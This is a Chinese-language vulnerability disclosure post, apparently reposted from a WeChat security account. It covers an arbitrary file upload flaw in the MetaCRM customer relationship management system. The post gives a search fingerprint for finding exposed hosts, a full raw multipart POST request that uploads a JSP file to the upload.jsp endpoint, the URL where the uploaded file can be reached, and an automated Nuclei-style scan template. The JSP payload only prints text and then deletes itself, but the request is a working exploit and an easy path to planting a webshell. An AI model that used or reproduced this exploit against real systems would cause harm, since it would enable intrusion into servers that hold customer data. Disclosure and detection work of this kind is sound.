MetaCRM客户关系管理系统存在任意文件上传漏洞-PoC

资产收集

body="/common/scripts/basic.js"

漏洞复现

构造请求包

POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null& HTTP/1.1Host: Content-Length: 768Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Mh3BfgWszxRFokhUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Referer: http://0.0.0.0/develop/systparam/softlogo/file2.jspConnection: close------WebKitFormBoundary0Mh3BfgWszxRFokhContent-Disposition: form-data; name="file"; filename="klms.jsp"Content-Type: text/plain<% out.print("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>------WebKitFormBoundary0Mh3BfgWszxRFokhContent-Disposition: form-data; name="key"null------WebKitFormBoundary0Mh3BfgWszxRFokhContent-Disposition: form-data; name="form"null------WebKitFormBoundary0Mh3BfgWszxRFokhContent-Disposition: form-data; name="field"null------WebKitFormBoundary0Mh3BfgWszxRFokhContent-Disposition: form-data; name="filetitile"null------WebKitFormBoundary0Mh3BfgWszxRFokhContent-Disposition: form-data; name="filefolder"null------WebKitFormBoundary0Mh3BfgWszxRFokh--

返回包

拼接url

http://host/userfile/default/userlogo/klms.jsp

脚本

id: ZH-2024-05-09-001
info:
  name: MetaCRM客户关系管理系统存在任意文件上传漏洞
  author: Devil安全
  reference: https://mp.weixin.qq.com/s/r5vOIl2sp_GEVcl8VSu6mg
requests:
  - raw:
    - |
       POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null& HTTP/1.1
       Host:{{Hostname}}
       Content-Length: 768
       Content-Type: multipart/form-data; 
       boundary=----WebKitFormBoundary0Mh3BfgWszxRFokh
       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
       Referer: http://0.0.0.0/develop/systparam/softlogo/file2.jsp
       Connection: close

       ------WebKitFormBoundary0Mh3BfgWszxRFokh
       Content-Disposition: form-data; name="file"; filename="klms.jsp"
       Content-Type: text/plain

       <% out.print("Hello");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
       ------WebKitFormBoundary0Mh3BfgWszxRFokh
       Content-Disposition: form-data; name="key"

       null
       ------WebKitFormBoundary0Mh3BfgWszxRFokh
       Content-Disposition: form-data; name="form"

       null
       ------WebKitFormBoundary0Mh3BfgWszxRFokh
       Content-Disposition: form-data; name="field"

       null
       ------WebKitFormBoundary0Mh3BfgWszxRFokh
       Content-Disposition: form-data; name="filetitile"

       null
       ------WebKitFormBoundary0Mh3BfgWszxRFokh
       Content-Disposition: form-data; name="filefolder"

       null
       ------WebKitFormBoundary0Mh3BfgWszxRFokh--
    matchers:
     - type: word
       words:
         - "/userfile/default/userlogo/klms.jsp"
       condition: and
       part: body

ZH-2024-05-09-001

原文始发于微信公众号（Devil安全）：【漏洞复现】MetaCRM客户关系管理系统存在任意文件上传漏洞